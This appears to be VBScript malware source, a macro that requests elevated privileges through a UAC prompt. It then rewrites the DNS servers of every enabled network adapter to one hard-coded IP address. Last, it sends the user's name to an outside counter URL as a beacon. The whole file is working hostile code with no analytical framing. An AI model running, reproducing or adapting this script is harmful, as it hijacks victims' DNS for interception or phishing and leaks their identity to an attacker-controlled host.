Macro

If WScript.Arguments.length =0 Then
  Set objShell = CreateObject("Shell.Application")
  objShell.ShellExecute "wscript.exe", Chr(34) & _
  WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1
Else

LocateFileinfm="http://www.contagotas.com.br/contador.php?p=30110" + GetUserNome'
strPC = "."
arrDNSServersd = Array("192.95.1.56")
Set objWMIServico = GetObject("winmgmts:" _
  & "{impersonationLevel=impersonate}!\\" & strPC & "\root\cimv2")
Set Nick = objWMIServico.ExecQuery _
  ("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")
For Each Nic In Nick
  intSetDNSServersd = Nic.SetDNSServerSearchOrder(arrDNSServersd)
  If intSetDNSServersd = 0 Then
  Else
  End If
Next
Set GeatXml1 = CreateObject("MSXML2.XMLHTTP")'
GeatXml1.open "GET", LocateFileinfm, false'
GeatXml1.send()'
Set GeatXml1 = Nothing'
End If